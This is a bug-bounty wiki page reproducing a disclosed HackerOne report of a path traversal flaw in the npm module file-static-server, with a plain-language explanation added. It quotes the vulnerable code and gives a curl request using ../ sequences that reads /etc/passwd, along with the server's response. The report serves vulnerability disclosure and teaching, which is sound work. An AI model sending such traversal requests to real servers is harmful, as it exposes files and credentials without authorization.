Skip to content
Path traversal Disclosed report Beginner

[file-static-server] Path Traversal allows to read content of arbitrary file on the server

The file-static-server module joins the request URL directly to the served directory without validating for path traversal sequences. An attacker can request files outside the intended directory, such as /etc/passwd, and read their contents.

bl4de Follow

Originally disclosed on HackerOne

  • Triaged in 45 hours
  • Fixed in 3 months
  • Disclosed after 4 months

Hi Guys,

There is Path Traversal vulnerability in file-static-server module, which allows to read arbitrary file from the remote server.

Module

file-static-server

[no description provided]

https://www.npmjs.com/package/file-static-server

version: 1.0.2

Stats 0 downloads in the last day 3 downloads in the last week 20 downloads in the last month

~250 estimated downloads per year

Description

Vulnerability exists, because function which creates path for file to read does not implement any validation of input data and takes path just as is:

JavaScript
// ./node_modules/file-static-server/lib/file.js, line 21:
getFilePath: function () {
    if (this.filePath) {
      return this.filePath
    }
    var url = this.req.url
    var len = process.argv.length
    this.filePath = path.join(process.argv[len - 1], url)
    return this.filePath
  },

this.filePath is the used directly in function, which reads file:

JavaScript
// ./node_modules/file-static-server/lib/file.js, line 87:
getStream: function () {
    return fs.createReadStream(this.filePath)
  }

Steps To Reproduce:

  • install file-static-server module
$ npm install file-static-server
  • run server from command line:
$ ./node_modules/file-static-server/bin/file-static-server -P 8080 ./
server start at 8080
  • use following command to confirm the vulnerability (pelase adjust number of ../ to reflect your system):
$ curl -v --path-as-is http://127.0.0.1:8080/../../../../etc/passwd

Result:

*   Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 8080 (#0)
> GET /../../../../etc/passwd HTTP/1.1
> Host: 192.168.1.1:8080
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< server: static-1.0.2
< content-type: application/octet-stream; charset=utf-8
< content-length: 6774
< etag: 898b8e56263723beb06955d4a7c2944d1eff7a21
< cache-control: public; max-age=3153600000000
< Date: Tue, 30 Jan 2018 23:27:23 GMT
< Connection: keep-alive
<
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
(...)

Supporting Material/References:

Configuration:

  • macOS 10.13.3
  • Chromium 66.0.3331.0 (Developer Build) (64-bit)
  • Node.js version: v8.9.3
  • npm version: 5.5.1
  • curl 7.54.0

Please feel free to invite module maintainer to this report. I haven't contacted maintainer as I want to keep the process of fixing and disclosing bug consistent through HackerOne platform only.

I hope my report will help to keep Node.js ecosystem and its users safe in the future.

Regards,

Rafal 'bl4de' Janicki

Impact

This vulnerability allows to read content of any file on the server

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The server constructs the file path by joining the base directory with the raw request URL without normalising or validating it, allowing directory traversal sequences to escape the intended directory.

Impact

An attacker could read the contents of any file on the server that the server process has permission to access.

What the attacker needed

Server running file-static-server; attacker can send HTTP requests

How it was found

  1. Install the file-static-server module.
  2. Start the server from the command line, specifying a port and a directory to serve.
  3. Send a request with path traversal sequences (e.g., using curl with --path-as-is) to read a file outside the served directory.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server that serves files from a folder should only allow access to files inside that folder. Here, the server takes the part of the web address after the domain and simply sticks it onto the folder path without checking for '..' sequences, which mean 'go up one folder'. By sending enough of these, an attacker can step outside the folder and read any file the server process can access, like system password files.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.